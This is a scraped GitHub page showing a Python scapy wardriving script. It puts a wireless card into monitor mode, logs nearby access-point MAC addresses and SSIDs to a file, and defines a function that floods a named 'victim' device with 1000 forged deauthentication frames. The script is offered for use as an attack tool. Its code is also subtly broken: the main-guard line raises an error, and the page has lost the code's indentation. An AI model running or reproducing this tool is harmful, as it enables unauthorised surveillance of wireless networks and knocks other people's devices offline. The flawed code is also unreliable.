-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathPydrive.py
More file actions
executable file
·59 lines (43 loc) · 1.66 KB
/
Copy pathPydrive.py
File metadata and controls
executable file
·59 lines (43 loc) · 1.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
#Author: Jared Stroud
try:
from scapy.all import *
import os
import time
except ImportError as err:
print("[ERROR] I'm missing: " + str(err))
apList = []
interface = "wlan0" #More than likely needs to be changed.
f = open('wardriving.txt', 'a+') #Create/append to the file "wardriving.txt"
#Put wireless NIC into monitor mode.
def monMode():
os.system("ifconfig " + interface + " down")
os.system("iwconfig " + interface + " mode monitor")
#Capture beacon frames and display MAC + SSID
def pktCap(pkt):
if pkt.haslayer(Dot11Beacon):
if pkt.addr2 not in apList: #If we haven't seen this access point append it to the list(apList) and write to a file.
apList.append(pkt.addr2)
accessPoint = ("Access Point MAC address: " + str(pkt.addr2) + " with SSID " + str(pkt.info) + "\n")
print(accessPoint)
f.write(accessPoint)
else:
print("Waiting for something new...\n")
time.sleep(5) # Take a second to avoid crazy writing to the file
def deauth_ap(AP_MAC, VICTIM_MAC):
'''
Function: deauth_ap
Purpose: Send deauth packets to AP, and victim
Param: AP_MAC: access point MAC control,
VICTIM_MAC: victim mac address
Return: Nothing
TODO: Embed auto deauth capabilities.
'''
interface = "mon0"
frame= RadioTap()/ Dot11(addr1=VICTIM_MAC,addr2=AP_MAC, addr3=AP_MAC)/ Dot11Deauth()
sendp(frame,iface=interface, count= 1000, inter= .1)
if "__name__" == __main__:
monMode()
conf.iface = "mon0"
sniff(prn=pktCap)
f.close() #We're done writing for today...